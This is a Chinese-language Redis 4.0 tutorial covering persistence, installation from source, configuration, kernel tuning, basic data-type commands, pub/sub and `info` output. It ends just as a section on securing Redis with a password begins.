redis持久化存储

redis存储系统
  1. redis概述

REmote DIctionary Server(Redis)是一个基于key-value键值对的持久化数据库存储系统。redis和大名鼎鼎的Memcached缓存服务软件很像,但是redis支持的数据存储类型比memcached更丰富,包括strings(字符串),lists(列表),sets(集合)和sorted sets(有序集合)等。
这些数据类型支持push/pop,add/remove及取交集,并集和差集及更丰富的操作,而且这些操作都是原子性的。在此基础上,redis支持各种不同方式的排序。与memcached缓存服务一样,为了保证效率,数据都是缓存在内存中提供服务。和memcached不同的是,redis持久化缓存服务还会周期性的把更新的数据写入到磁盘以及把修改的操作记录追加到文件里记录下来,比memcached更有优势的是,redis还支持master-slave(主从)同步,这点很类似关系型数据库MySQL主从复制功能。
Redis是一个开源的使用C语言编写(3万多行代码),支持网络,可基于内存亦可持久化的日志型,Key-Value数据库,并提供多种语言的API。从2010年3月15日起,Redis的开发工作由VMware主持。
Redis软件的出现,再一定程度上弥补了memcached这类key-value内存缓存服务的不足,在部分场合可以对关系数据库起到很好的补充作用。redis提供了Python,Ruby,Erlang,PHP客户端,使用起来很方便。redis官方文档如下:
http://www.redis.io/documentation
http://www.redis.cn/
http://www.redis.io/topics/introduction
在这里插入图片描述
2. redis特点

key-value键值类型存储
支持数据可靠存储及落地
单进程单线程高性能服务器
crash safe & recovery slow
单机qps可以达到10W
适合小数据量高速读写访问
Redis速度极快,但是,他是单进程运作的,因此,同一时间redis其实只能处理一个用户的请求,处理完毕再处理下一个用户。
3. Redis优点

与memcached不同,Redis可以持久化存储数据
性能很高:Redis能支持超过10W每秒的读写频率。
丰富的数据类型:Redis支持二进制的Strings,Lists,Hashes,Sets及sorted Sets等数据类型操作
原子:Redis的所有操作都是原子性的,同时Redis还支持对几个操作全并后的原子性执行
丰富的特性:Redis还支持publish/subscribe(发布/订阅),通知,key过期等等特性。
redis支持异机主从复制。

  1. redis缺陷与陷阱

    系统运行有毛刺
    不同命令延迟差别极大
    内存管理开销大(设置低于物理内存3/5)
    buffer io造成系统OOM(内存溢出)

  2. redis的数据类型

    作为Key-value型存储系统数据库,Redis提供了键(Key)和值(value)映射关系。但是,除了常规的数值或字符串,Redis的键值还可以是以下形式之一,下面为最为常用的数据类型:

    String 字符串
    Hash 哈希表
    List 列表
    Set 集合
    Sorted set 有序集合
    在这里插入图片描述

  3. redis 持久化

    通常,Redis将数据存储于内存中,或被配置为使用虚拟内存。通过两种方式可以实现数据持久化:
    (1)使用快照(snapshot)的方式,将内存中的数据不断写入磁盘;
    (2)使用类似MySQL的binlog日志(aof但并不用于主从同步)方式,记录每次更新的日志。
    前者性能较高,但是可能会引起一定程度的数据丢失;后者相反。
    在这里插入图片描述

#名词解释
#Snapshot(快照)
save 900 1      #900秒有1key容量被更新,则触发快照写入磁盘
save 300 10
save 60 10000

#AOF(更新日志)
appendfsync always  #总是记录更新内容
appendfsync everysec    #每秒记录更新内容
appendfsync no  #不记录更新内容

在这里插入图片描述

特别提示:
如果选择了快照的策略,那么快照在每次进行保存的时候,都会阻碍执行前端的客户端请求。
快照会一次性将内存里的数据全都写进磁盘。
  1. redis的应用场景

(1)MySQL+Memcached网站架构问题

通过MySQL数据库存储数据库数据,加上通过Memcached把热点数据存放到内存cache里,达到加速数据访问减轻数据库压力的目的,这是绝大部分公司都曾经使用过这样的架构,但随着业务数据量的不断增加,和访问量的持续增长,很多问题就会暴露出来:

需要不断的对MySQL进行拆库拆表,Memcached也需不断跟着扩容,扩容和维护工作占据大量开发运维时间。
Memcached与MySQL数据库数据一致性问题是个老大难。
Memcached数据命中率低或down机,会导致大量访问直接穿透到数据库,导致MySQL无法支撑访问。
跨机房cache同步及cache数据一致性问题

(2)redis的最佳应用场景

Redis最佳试用场景是全部数据in-memory
Redis更多场景是作为Memcached的替代品来使用。
数据比较重要,对数据一致性有一定要求的业务。
当需要除key/value之外的更多数据类型支持时,使用Redis更合适。
需要提供主从同步以及负载均衡分布式应用场景(redis主从同步)

更多

a.Redis作者谈Redis应用场景
http://blog.nosqlfan.com/html/2235.html

b.使用Redis bitmap进行活跃用户统计
http://blog.nosqlfan.com/html/3501.html

    计数,cache服务,展示最近,最热,点击率最高,活跃度最高等等条件的top list,用户最近访问记录,Relation List/Message Queue,粉丝列表。
    Key-Value Store 更加注重对海量数据存取的性能,分布式,扩展性支持上,并不需要传统关系数据库的一些特征,例如:Schema,事务,完整SQL查询支持等等,因此在分布式环境下的性能相对于传统的关系数据库有较大提升。

在这里插入图片描述在这里插入图片描述

  1. redis的应用案例

sina使用redis案例:

(1)application -->redis

(2)应用程序首先访问Redis,只有当Redis没有数据或访问失败时访问redis。

(3)二次开发实现MySQL和redis互相同步

MySQL -->Redis复制

通过RBR解析BINLOG同步到redis
Redis提供特定数据结构的读访问
实现关系型数据转变成队列数据

Redis -->MySQL复制

Redis提供特定数据结构的读写
通过replication接口同时写入到MySQL

新浪为什么用redis?

数据结构(Data Structure)需求越来越多,但Memcache中没有,影响开发效率。
性能需求,随着读操作的量的上升需要解决,经历的过程有:数据库读写分离(M/S)-->数据库使用多个Slave -->增加Cache(memcache)-->转到Redis
解决写的问题:水平拆分,对表的拆分,将有的用户放在这个表,有的用户放在另外一个表。
可靠性需求:Cache的“雪崩”问题让人纠结;Cache面临着快速恢复的挑战。
开发成本需求:Cache和DB的一致性维护成本越来越高(先清理DB,再清理缓存,不行啊,太慢了!)开发需要跟上不断涌入的产品需求,硬件成本最贵的就是数据库层面的机器,基本上比前端的机器要贵几倍,主要是IO密集型,很耗硬件。
维护性复杂:一致性维护成本越来越高。BerkeleyDB使用B树,会一直写新的,内部不会有文件重新组织;这样会导致文件越来越大;大的时候需要进行文档归档,归档的操作要定期做;这样,就需要有一定的down time。

所以基于以上考虑,新浪选择了Redis
  1. Redis的生产经验教训

    一定要进行Master-slave主从同步配置,在出现服务故障时可以切换
    在master禁用数据持久化,只需要在slave上配置数据持久化
    物理内存+虚拟内存不足,这个时候dump一直死着,时间久了机器挂掉。这个情况就是灾难!
    当Redis物理内存使用超过内存总容量的3/5时就会开始比较危险了,就开始做swap,内存碎片大!
    当达到最大内存时,会清空带有过期时间的key,即使key未到过期时间。
    redis与DB同步写的问题,先写DB,后写redis,因为写内存基本上没有问题。

Redis服务器4.0版本源码编译安装

yum仓库使用技巧

#查找一个命令出自哪个rpm包
[root@Redis01 ~]# yum provides "*bin/ifconfig"
net-tools-2.0-0.22.20131004git.el7.x86_64 : Basic networking tools
源    :base
匹配来源:
文件名    :/sbin/ifconfig

[root@Redis01 ~]# yum provides "*bin/brctl"
bridge-utils-1.5-9.el7.x86_64 : Utilities for configuring the linux ethernet bridge
源    :base
匹配来源:
文件名    :/usr/sbin/brctl

[root@Redis01 ~]# yum provides "*bin/nslookup"
32:bind-utils-9.9.4-61.el7.x86_64 : Utilities for querying DNS name servers
源    :base
匹配来源:
文件名    :/usr/bin/nslookup
  1. 部署redis环境
主机名ens33用途
redis01192.168.146.164主Redis
  1. 开始安装redis服务

    在redis的官方网站(http://www.redis.io)下载最新的稳定版本redis。

[root@localhost ~]# ls
anaconda-ks.cfg  redis-4.0.11.tar.gz
[root@localhost ~]# yum -y install wget gcc gcc-c++ make tar openssl openssl-devel cmake
[root@localhost ~]# tar xf redis-4.0.11.tar.gz -C /usr/src/
[root@localhost ~]# cd /usr/src/redis-4.0.11/
[root@localhost redis-4.0.11]# make 
[root@localhost redis-4.0.11]# make MALLOC=jemalloc
[root@localhost redis-4.0.11]# make PREFIX=/usr/local/redis install
[root@localhost redis-4.0.11]# cd /usr/local/redis/
[root@localhost redis]# ls
bin
[root@localhost redis]# mkdir -p /usr/local/redis/conf
[root@localhost redis]# cp /usr/src/redis-4.0.11/redis.conf /usr/local/redis/conf/
[root@localhost redis]# cp /usr/src/redis-4.0.11/sentinel.conf /usr/local/redis/conf/
[root@localhost redis]# ln -s /usr/local/redis/bin/* /usr/local/bin/
[root@localhost redis]# which redis-server
/usr/local/bin/redis-server
[root@localhost redis]# redis-server --version			#服务端连接命令
Redis server v=4.0.11 sha=00000000:0 malloc=jemalloc-4.0.3 bits=64 build=86ef428c1d080d76
[root@localhost redis]# redis-cli --version					#客户端连接命令
redis-cli 4.0.11	

Redis服务器启动和系统参数调整
  1. 简化redis配置文件
[root@localhost ~]# cd /usr/local/redis/
[root@localhost redis]# cp conf/redis.conf{,.bak}
[root@localhost redis]# egrep -v "^$|^#" conf/redis.conf.bak > conf/redis.conf
[root@localhost redis]# mkdir -p /data/redis/				#创建redis数据目录

  1. 更改redis配置文件/usr/local/redis/conf/redis.conf
#修改redis配置文件以下参数
[root@localhost redis]# vim conf/redis.conf

  1 bind 0.0.0.0						#监听地址
  2 protected-mode yes
  3 port 6379							#监听端口
  4 tcp-backlog 1024				#tcp连接数
  5 timeout 0
  6 tcp-keepalive 300
  7 daemonize yes					#是否后台启动
  8 supervised no
  9 pidfile /data/redis/redis.pid				 #pid存放目录
 10 loglevel notice	
 11 logfile "/data/redis/redis.log"				#日志存放目录
 12 databases 16
 13 always-show-logo yes
 14 save 900 1
 15 save 300 10
 16 save 60 10000
 17 stop-writes-on-bgsave-error yes
 18 rdbcompression yes
 19 rdbchecksum yes
 20 dbfilename dump.rdb
 21 dir /data/redis						#工作目录
 22 slave-serve-stale-data yes
 23 slave-read-only yes
 24 repl-diskless-sync no
 25 repl-diskless-sync-delay 5
 26 repl-disable-tcp-nodelay no
 27 slave-priority 100
 28 lazyfree-lazy-eviction no
 29 lazyfree-lazy-expire no
 30 lazyfree-lazy-server-del no

  1. redis服务器启动和关闭
#启动redis服务器
[root@localhost redis]# redis-server /usr/local/redis/conf/redis.conf
[root@localhost redis]# netstat -antup | grep redis
tcp        0      0 0.0.0.0:6379            0.0.0.0:*               LISTEN      14640/redis-server  

#关闭本地redis服务器
[root@localhost redis]# redis-cli -p 6379 -h 127.0.0.1 shutdown 	 # 可以不写-p,-h,默认 -p 6379 -h 127.0.0.1
[root@localhost redis]# netstat -antup | grep redis

#连接redis服务器(交互式连接redis)
[root@localhost redis]# redis-server /usr/local/redis/conf/redis.conf
[root@localhost redis]# redis-cli -h 127.0.0.1
127.0.0.1:6379> 
127.0.0.1:6379> 
127.0.0.1:6379> 
127.0.0.1:6379> 
127.0.0.1:6379> exit

  1. 系统参数优化调整
#启动redis以后,查看系统日志
[root@localhost redis]# cat /data/redis/redis.log
14639:C 04 Jan 02:55:40.866 # oO0OoO0OoO0Oo Redis is starting oO0OoO0OoO0Oo
14639:C 04 Jan 02:55:40.866 # Redis version=4.0.11, bits=64, commit=00000000, modified=0, pid=14639, just started
14639:C 04 Jan 02:55:40.866 # Configuration loaded
14640:M 04 Jan 02:55:40.870 * Increased maximum number of open files to 10032 (it was originally set to 1024).
 #警告提示1:系统文件描述符设置的太小了,才1024(单进程),我们最好设置到10032
                _._                                                  
           _.-``__ ''-._                                             
      _.-``    `.  `_.  ''-._           Redis 4.0.11 (00000000/0) 64 bit
  .-`` .-```.  ```\/    _.,_ ''-._                                   
 (    '      ,       .-`  | `,    )     Running in standalone mode
 |`-._`-...-` __...-.``-._|'` _.-'|     Port: 6379
 |    `-._   `._    /     _.-'    |     PID: 14640
  `-._    `-._  `-./  _.-'    _.-'                                   
 |`-._`-._    `-.__.-'    _.-'_.-'|                                  
 |    `-._`-._        _.-'_.-'    |           http://redis.io        
  `-._    `-._`-.__.-'_.-'    _.-'                                   
 |`-._`-._    `-.__.-'    _.-'_.-'|                                  
 |    `-._`-._        _.-'_.-'    |                                  
  `-._    `-._`-.__.-'_.-'    _.-'                                   
      `-._    `-.__.-'    _.-'                                       
          `-._        _.-'                                           
              `-.__.-'                                               

14640:M 04 Jan 02:55:40.875 # WARNING: The TCP backlog setting of 1024 cannot be enforced because /proc/sys/net/core/somaxconn is set to the lower value of 128.
#警告提示2:对一个高负载的环境来说tcp设置128这个值,太小了。
14640:M 04 Jan 02:55:40.875 # Server initialized
14640:M 04 Jan 02:55:40.875 # WARNING overcommit_memory is set to 0! Background save may fail under low memory condition. To fix this issue add 'vm.overcommit_memory = 1' to /etc/sysctl.conf and then reboot or run the command 'sysctl vm.overcommit_memory=1' for this to take effect.
#警告提示3:overcommit_memory=0为不允许超额抢占内存,但是,rdb保存可能会失败。建议将vm.overcommit_memory = 1进行修改
14640:M 04 Jan 02:55:40.875 # WARNING you have Transparent Huge Pages (THP) support enabled in your kernel. This will create latency and memory usage issues with Redis. To fix this issue run the command 'echo never > /sys/kernel/mm/transparent_hugepage/enabled' as root, and add it to your /etc/rc.local in order to retain the setting after a reboot. Redis must be restarted after THP is disabled.
#警告提示4:你的内核中启用了巨大内存页的支持,这将与redis的延迟内存使用冲突。
14640:M 04 Jan 02:55:40.876 * Ready to accept connections

(1)调整系统文件描述符

[root@localhost redis]# echo "* - nofile 10240" >> /etc/security/limits.conf
[root@localhost redis]# tail -1 /etc/security/limits.conf
* - nofile 10240							# *代表任意用户,-代表文件,nofile文件打开数

#只要退出登陆一下即可生效
[root@localhost ~]# exit
[root@localhost ~]# ulimit -n		#文件打开数						
10240

(2)调整系统tcp连接数

[root@localhost ~]# sysctl -a | grep soma
net.core.somaxconn = 128
sysctl: reading key "net.ipv6.conf.all.stable_secret"
sysctl: reading key "net.ipv6.conf.default.stable_secret"
sysctl: reading key "net.ipv6.conf.ens33.stable_secret"
sysctl: reading key "net.ipv6.conf.lo.stable_secret"
[root@localhost ~]# echo "net.core.somaxconn = 10240" >> /etc/sysctl.conf
[root@localhost ~]# sysctl -p
net.core.somaxconn = 10240

(3)调整系统内存分配策略

[root@localhost ~]# echo "vm.overcommit_memory = 1" >> /etc/sysctl.conf 
[root@localhost ~]# tail -1 /etc/sysctl.conf
vm.overcommit_memory = 1
[root@localhost ~]# sysctl -p
net.core.somaxconn = 10240
vm.overcommit_memory = 1
[root@localhost ~]#  sysctl -a | grep commit
sysctl: reading key "net.ipv6.conf.all.stable_secret"
sysctl: reading key "net.ipv6.conf.default.stable_secret"
sysctl: reading key "net.ipv6.conf.ens33.stable_secret"
sysctl: reading key "net.ipv6.conf.lo.stable_secret"
vm.nr_overcommit_hugepages = 0
vm.overcommit_kbytes = 0
vm.overcommit_memory = 1					#设置好了
vm.overcommit_ratio = 50

(4)关闭系统内核的巨大内存页支持

[root@localhost ~]# echo never > /sys/kernel/mm/transparent_hugepage/enabled
[root@localhost ~]# cat /sys/kernel/mm/transparent_hugepage/enabled
always madvise [never]
[root@localhost ~]# echo never > /sys/kernel/mm/transparent_hugepage/defrag 
[root@localhost ~]# cat /sys/kernel/mm/transparent_hugepage/defrag
always madvise [never]

#添加到/etc/rc.local
[root@localhost ~]# echo 'echo never > /sys/kernel/mm/transparent_hugepage/enabled' >> /etc/rc.local
[root@localhost ~]# echo 'echo never > /sys/kernel/mm/transparent_hugepage/defrag' >> /etc/rc.local
[root@localhost ~]# tail -2 /etc/rc.local
echo never > /sys/kernel/mm/transparent_hugepage/enabled
echo never > /sys/kernel/mm/transparent_hugepage/defrag
[root@localhost ~]# 

(5)重启redis-server验证修改

#关闭redis
[root@localhost ~]# redis-cli shutdown
[root@localhost ~]# netstat -antup | grep redis
[root@localhost ~]# > /data/redis/redis.log					#清空日志
#启动redis
[root@localhost ~]# redis-server /usr/local/redis/conf/redis.conf
[root@localhost ~]# cat /data/redis/redis.log
14987:C 04 Jan 03:10:47.128 # oO0OoO0OoO0Oo Redis is starting oO0OoO0OoO0Oo
14987:C 04 Jan 03:10:47.128 # Redis version=4.0.11, bits=64, commit=00000000, modified=0, pid=14987, just started
14987:C 04 Jan 03:10:47.128 # Configuration loaded
                _._                                                  
           _.-``__ ''-._                                             
      _.-``    `.  `_.  ''-._           Redis 4.0.11 (00000000/0) 64 bit
  .-`` .-```.  ```\/    _.,_ ''-._                                   
 (    '      ,       .-`  | `,    )     Running in standalone mode
 |`-._`-...-` __...-.``-._|'` _.-'|     Port: 6379
 |    `-._   `._    /     _.-'    |     PID: 14988
  `-._    `-._  `-./  _.-'    _.-'                                   
 |`-._`-._    `-.__.-'    _.-'_.-'|                                  
 |    `-._`-._        _.-'_.-'    |           http://redis.io        
  `-._    `-._`-.__.-'_.-'    _.-'                                   
 |`-._`-._    `-.__.-'    _.-'_.-'|                                  
 |    `-._`-._        _.-'_.-'    |                                  
  `-._    `-._`-.__.-'_.-'    _.-'                                   
      `-._    `-.__.-'    _.-'                                       
          `-._        _.-'                                           
              `-.__.-'                                               

14988:M 04 Jan 03:10:47.131 # Server initialized
14988:M 04 Jan 03:10:47.132 * DB loaded from disk: 0.000 seconds
14988:M 04 Jan 03:10:47.132 * Ready to accept connections

Redis客户端使用和字符串简单操作
  • mysql命令用来跟MySQL服务器进行交互
  • redis-cli命令用来跟redis服务器进行交互
  1. 使用redis-cli客户端登陆redis-server
[root@localhost redis]# redis-cli -h 127.0.0.1 -p 6379
127.0.0.1:6379> exit
[root@localhost redis]# redis-cli 
127.0.0.1:6379> exit
  1. redis字符串操作
[root@localhost ~]# redis-cli 
127.0.0.1:6379> set name daisy				#增加键(key)和值(value)
OK
127.0.0.1:6379> get name							#根据键获取值
"daisy"
127.0.0.1:6379> set name helen				#修改键的值
OK
127.0.0.1:6379> get name
"helen"
127.0.0.1:6379> del name							 #删除,返回1代表删除成功
(integer) 1
127.0.0.1:6379> GET name						#命令不区分大小写
(nil)
127.0.0.1:6379> set NAME test
OK
127.0.0.1:6379> get name
(nil)
127.0.0.1:6379> get NAME						#key区分大小写
"test"

  1. 非交互式操作redis服务器
[root@localhost ~]# redis-cli get NAME
"test"
[root@localhost ~]# redis-cli set name welcome
OK
[root@localhost ~]# redis-cli get name 
"welcome"
[root@localhost ~]# redis-cli del name 
(integer) 1
[root@localhost ~]# redis-cli get name 
(nil)

Redis列表集合简单操作

redis的key都是字符串,value支持字符串,列表,集合等

  1. redis列表的操作,有序的可重复的
    列表就是有顺序的,可重复的一堆值的组合
[root@localhost ~]# redis-cli 
127.0.0.1:6379> lpush name yun1					#创建一个列表name,并从左边推入一个值yun1
(integer) 1
127.0.0.1:6379> lpush name yun2					#向列表name左边推入一个值yun2
(integer) 2
127.0.0.1:6379> lpush name yun3
(integer) 3
127.0.0.1:6379> lpush name yun4
(integer) 4
127.0.0.1:6379> lpush name yun5
(integer) 5
127.0.0.1:6379> lrange name 0 -1					#查看列表name从索引0开始到结束所有的值
1) "yun5"
2) "yun4"
3) "yun3"
4) "yun2"
5) "yun1"
127.0.0.1:6379> lrange name 0 1					#查看索引0和1的值
1) "yun5"
2) "yun4"
127.0.0.1:6379> lrange name 0 2
1) "yun5"
2) "yun4"
3) "yun3"
127.0.0.1:6379> lrange name 0 0
1) "yun5"
127.0.0.1:6379> lrange name 0 5
1) "yun5"
2) "yun4"
3) "yun3"
4) "yun2"
5) "yun1"
127.0.0.1:6379> lrange name yun
(error) ERR wrong number of arguments for 'lrange' command
127.0.0.1:6379> lpush name yun
(integer) 6
127.0.0.1:6379> lpush name yun6
(integer) 7
127.0.0.1:6379> lpush name yun
(integer) 8
127.0.0.1:6379> lrange name 0 -1
1) "yun"				#有两个yun
2) "yun6"
3) "yun"				#有两个yun
4) "yun5"
5) "yun4"
6) "yun3"
7) "yun2"
8) "yun1"
127.0.0.1:6379> lrem name 1 yun				#从左边数删除第一个yun
(integer) 1
127.0.0.1:6379> lrange name 0 -1
1) "yun6"
2) "yun"
3) "yun5"
4) "yun4"
5) "yun3"
6) "yun2"
7) "yun1"
127.0.0.1:6379> lrem name 1 yun				#从左边数删除第一个yun
(integer) 1
127.0.0.1:6379> lrange name 0 -1
1) "yun6"
2) "yun5"
3) "yun4"
4) "yun3"
5) "yun2"
6) "yun1"
127.0.0.1:6379> lpush name yun				#从列表的左边加入一个元素yun
(integer) 7
127.0.0.1:6379> rpush name yun 				#从列表的右边加入一个元素yun
(integer) 8
127.0.0.1:6379> lrange name 0 -1
1) "yun"
2) "yun6"
3) "yun5"
4) "yun4"
5) "yun3"
6) "yun2"
7) "yun1"
8) "yun"
127.0.0.1:6379> lrem name 0 yun					#从列表的左边数删除所有的yun元素
(integer) 2
127.0.0.1:6379> lrange name 0 -1
1) "yun6"
2) "yun5"
3) "yun4"
4) "yun3"
5) "yun2"
6) "yun1"
127.0.0.1:6379> lpop name							#移除列表最左边的元素
"yun6"
127.0.0.1:6379> lpop name
"yun5"
127.0.0.1:6379> lpop name
"yun4"
127.0.0.1:6379> rpop name							#移除列表最右边的元素
"yun1"
127.0.0.1:6379> rpop name
"yun2"
127.0.0.1:6379> lrange name 0 -1
1) "yun3"
127.0.0.1:6379> lpush name yun2
(integer) 2
127.0.0.1:6379> lset name 0 yun					#修改列表左起第一个元素
OK
127.0.0.1:6379> lrange name 0 -1
1) "yun"
2) "yun3"

  1. redis集合的操作,无序的不重复的
    集合就是不能重复的,无固定顺序的列表
127.0.0.1:6379> sadd ages 25					#向集合中添加元素
(integer) 1
127.0.0.1:6379> sadd ages 30
(integer) 1
127.0.0.1:6379> sadd ages 35
(integer) 1
127.0.0.1:6379> sadd ages 40
(integer) 1
127.0.0.1:6379> sadd ages 45
(integer) 1
127.0.0.1:6379> sadd ages 50
(integer) 1
127.0.0.1:6379> sadd ages 25				 #失败,集合的元素具有唯一性
(integer) 0
127.0.0.1:6379> smembers ages				#查看集合里的元素
1) "25"
2) "30"
3) "35"
4) "40"
5) "45"
6) "50"
127.0.0.1:6379> srem ages 25				 #移除即合里是25的元素
(integer) 1
127.0.0.1:6379> spop ages 					#随机移除集合里的一个元素
"50"
127.0.0.1:6379> smembers ages
1) "30"
2) "35"
3) "40"
4) "45"
127.0.0.1:6379> sismember ages 40				#查找集合里是否有40的元素
(integer) 1
127.0.0.1:6379> smembers ages
1) "30"
2) "35"
3) "40"
4) "45"

**Redis的hash和订阅简单操作
  1. redis的hash操作
    hash就是可以存多个键值对的组合(类似python字典)
127.0.0.1:6379> hset info name 'yunjisuan'				#增加一个hash
(integer) 1
127.0.0.1:6379> hset info age '25'
(integer) 1
127.0.0.1:6379> hset info location 'beijing'
(integer) 1
127.0.0.1:6379> hgetall info
1) "name"
2) "yunjisuan"
3) "age"
4) "25"
5) "location"
6) "beijing"
127.0.0.1:6379> hget info name
"yunjisuan"
127.0.0.1:6379> hdel info name age
(integer) 2
127.0.0.1:6379> hgetall info
1) "location"
2) "beijing"
127.0.0.1:6379> del info
(integer) 1
127.0.0.1:6379> hmset info name 'yunjisuan' age 25 location 'beijing'
OK
127.0.0.1:6379> hgetall info
1) "name"
2) "yunjisuan"
3) "age"
4) "25"
5) "location"
6) "beijing"

  1. redis的订阅操作
#开启redis的订阅功能,复制redis01窗口,开启前3个订阅
[root@localhost ~]# redis-cli 
127.0.0.1:6379> subscribe yunjisuan				#开启频道名:yunjisuan的订阅功能,可开启多个窗口进行订阅
Reading messages... (press Ctrl-C to quit)
1) "subscribe"
2) "yunjisuan"
3) (integer) 1

#对频道进行内容推送,在redis01的第四个窗口进行操作
[root@localhost ~]# redis-cli 
127.0.0.1:6379> publish yunjisuan 'welcome'				#向频道yunjisuan推送welcome
(integer) 3						#推送成功的人数
127.0.0.1:6379> publish yunjisuan 'nice'
(integer) 3
127.0.0.1:6379> publish yunjisuan 'hello'
(integer) 3

#此时,redis01的三台订阅窗口显示,
[root@localhost ~]# redis-cli 
127.0.0.1:6379> subscribe yunjisuan
Reading messages... (press Ctrl-C to quit)
1) "subscribe"
2) "yunjisuan"
3) (integer) 1
1) "message"
2) "yunjisuan"
3) "welcome"
1) "message"
2) "yunjisuan"
3) "nice"
1) "message"
2) "yunjisuan"
3) "hello"

使用Shell往Redis批量添加数据

(1)批量往redis server上插入数据

[root@localhost ~]# for line in `seq -w 50`;do redis-cli set name_${line} value_${line};done

(2)查看key的情况

[root@localhost ~]# redis-cli 
127.0.0.1:6379> keys *				#查看所有key命令,不建议使用,上千万的key会使redis服务器堵塞
127.0.0.1:6379> randomkey			#随机返回一个key
"name_37"
127.0.0.1:6379> randomkey
"name_12"
127.0.0.1:6379> scan 0				#分页查看key
1) "56"
2)  1) "name_22"
    2) "name_23"
    3) "name_49"
    4) "name_34"
    5) "name_39"
    6) "name_01"
    7) "name_20"
    8) "name_07"
    9) "name_17"
127.0.0.1:6379> scan 1			#一页一页查看
1) "11"
2)  1) "name_37"
    2) "name_43"
    3) "name_02"
    4) "name_42"
    5) "name_32"
    6) "name_14"
    7) "name_47"
    8) "name_08"
    9) "name_28"
   10) "name_29"

Redis服务器info状态信息查看

redis提供了一个info命令查看redis服务器的信息,类似Linux提供一个top命令查看系统的信息

[root@localhost ~]# redis-cli info
# Server				服务器的信息
redis_version:4.0.11					#redis服务器版本
redis_git_sha1:00000000				#Git SHA1
redis_git_dirty:0								#Git dirty flag
redis_build_id:86ef428c1d080d76					#redis build id
redis_mode:standalone									 #运行模式,单机或集群
os:Linux 3.10.0-862.el7.x86_64 x86_64			#redis服务器宿主机操作系统
arch_bits:64													#架构64位
multiplexing_api:epoll									#redis所使用的事件处理模型
atomicvar_api:atomic-builtin
gcc_version:4.8.5										#编译redis时gcc版本
process_id:14988										#redis服务器进程的pid
run_id:a0eec4ef1ac84390f071b861789848855f9991f6						#redis服务器的随机标识符(sentinel和集群)
tcp_port:6379												#redis服务器监听端口
uptime_in_seconds:7544							#redis服务器启动总时间,单位秒
uptime_in_days:0										#redis服务器启动总时间,单位天
hz:10															#redis内部调度频率(关闭timeout客户端,删除过期key)
lru_clock:3093119										#自增时间,用于LRU管理
executable:/root/redis-server
config_file:/usr/local/redis/conf/redis.conf			#配置文件路径

# Clients					已连接客户端信息
connected_clients:1							#已经连接客户端数量(不包括slave连接的客户端)
client_longest_output_list:0				#当前连接的客户端当中,最长的输出列表
client_biggest_input_buf:0					#当前客户端当中,最大输入缓存
blocked_clients:0								#正在等待阻塞命令的客户端数量

# Memory				内存信息
used_memory:852944						#由redis分配器分配的内存总量,单位字节
used_memory_human:832.95K			#以可读方式返回redis已分配的内存总量
used_memory_rss:2416640				#从操作系统角度,返回redis已分配内存总量
used_memory_rss_human:2.30M		#以可读方式返回redis已分配的内存总量
used_memory_peak:910856				#redis的内存消耗峰值(以字节为单位)
used_memory_peak_human:889.51K			#以可读方式返回redis内存消耗峰值
used_memory_peak_perc:93.64%
used_memory_overhead:838894
used_memory_startup:786592
used_memory_dataset:14050
used_memory_dataset_perc:21.17%
total_system_memory:1021906944
total_system_memory_human:974.57M
used_memory_lua:37888								#lua引擎所使用的内存大小(单位字节)
used_memory_lua_human:37.00K
maxmemory:0
maxmemory_human:0B
maxmemory_policy:noeviction
mem_fragmentation_ratio:2.83						#used_memory_rss和used_memory比率,小于1表示使用了swap,大于1表示碎片多,redis进行增加删除的动作,会引起内存碎片化
mem_allocator:jemalloc-4.0.3							#编译时指定的redis的内存分配器。越好的分配器内存碎片化率越低,低版本建议升级
active_defrag_running:0
lazyfree_pending_objects:0

# Persistence					rdb和aof的持久化相关信息
loading:0																	 #服务器是否正在载入持久化文件
rdb_changes_since_last_save:0							#有多少个已经写入的命令还未被持久化
rdb_bgsave_in_progress:0										#服务器是否正在创建rdb文件
rdb_last_save_time:1546596681							#已经有多长时间没有进行持久化了
rdb_last_bgsave_status:ok										#最后一次的rdb持久化是否成功
rdb_last_bgsave_time_sec:0									#最后一次生成rdb文件耗时秒数
rdb_current_bgsave_time_sec:-1							#如果服务器正在创建rdb文件,那么当前这个记录就是创建操作耗时秒数
rdb_last_cow_size:307200
aof_enabled:0															#是否开启了aof
aof_rewrite_in_progress:0										#标识aof的rewrite操作是否进行中
aof_rewrite_scheduled:0
aof_last_rewrite_time_sec:-1
aof_current_rewrite_time_sec:-1
aof_last_bgrewrite_status:ok									#上次bgrewriteaof操作的状态
aof_last_write_status:ok											#上一次aof写入状态
aof_last_cow_size:0

# Stats						一般统计信息
total_connections_received:63								#新创建的链接个数,如果过多,会影响性能
total_commands_processed:143							#redis处理的命令数
instantaneous_ops_per_sec:0								#redis当前的qps,redis内部较实时的每秒执行命令数
total_net_input_bytes:5073									#redis网络入口流量字节数
total_net_output_bytes:74634								#redis网络出口流量字节数
instantaneous_input_kbps:0.00								#redis网络入口kps
instantaneous_output_kbps:0.00							#redis网络出口kps
rejected_connections:0											#拒绝的连接个数,redis连接个数已经达到maxclients限制
sync_full:0																#主从完全同步成功次数
sync_partial_ok:0													#主从部分同步失败次数
sync_partial_err:0													
expired_keys:0													#运行以来过期的key的数量
expired_stale_perc:0.00
expired_time_cap_reached_count:0
evicted_keys:0														#运行以来剔除(超过maxmemory)的key的数量
keyspace_hits:27													#命中次数
keyspace_misses:4												 #没命中次数
pubsub_channels:0												#当前使用中的频道数量
pubsub_patterns:0													#当前使用的模式数量
latest_fork_usec:362
migrate_cached_sockets:0
slave_expires_tracked_keys:0
active_defrag_hits:0
active_defrag_misses:0
active_defrag_key_hits:0
active_defrag_key_misses:0

# Replication									主从信息
role:master
connected_slaves:0
master_replid:a10557ac788e62aff6652184248d56cb2e3943c9
master_replid2:0000000000000000000000000000000000000000
master_repl_offset:0															#主从同步偏移量(主从数据不一致)
second_repl_offset:-1
repl_backlog_active:0
repl_backlog_size:1048576
repl_backlog_first_byte_offset:0
repl_backlog_histlen:0

# CPU
used_cpu_sys:7.37
used_cpu_user:2.66
used_cpu_sys_children:0.02
used_cpu_user_children:0.00

# Cluster													集群相关信息
cluster_enabled:0

# Keyspace												数据库相关信息
db0:keys=54,expires=0,avg_ttl=0								#db0的key数量以及带有生存周期的key的个数,平均存活时间

Redis服务器加密和无密码攻击演示

redis无密码如果放在公网的话,会被攻击

  1. 给redis增加密码的两种方式
    (1)通过redis配置文件增加密码
#给配置文件增加密码参数
[root@localhost ~]# echo 'requirepass "123456"' >> /usr/local/redis/conf/redis.conf			#密码设为123456
[root@localhost ~]# tail -1 /usr/local/redis/conf/redis.conf
requirepass "123456"
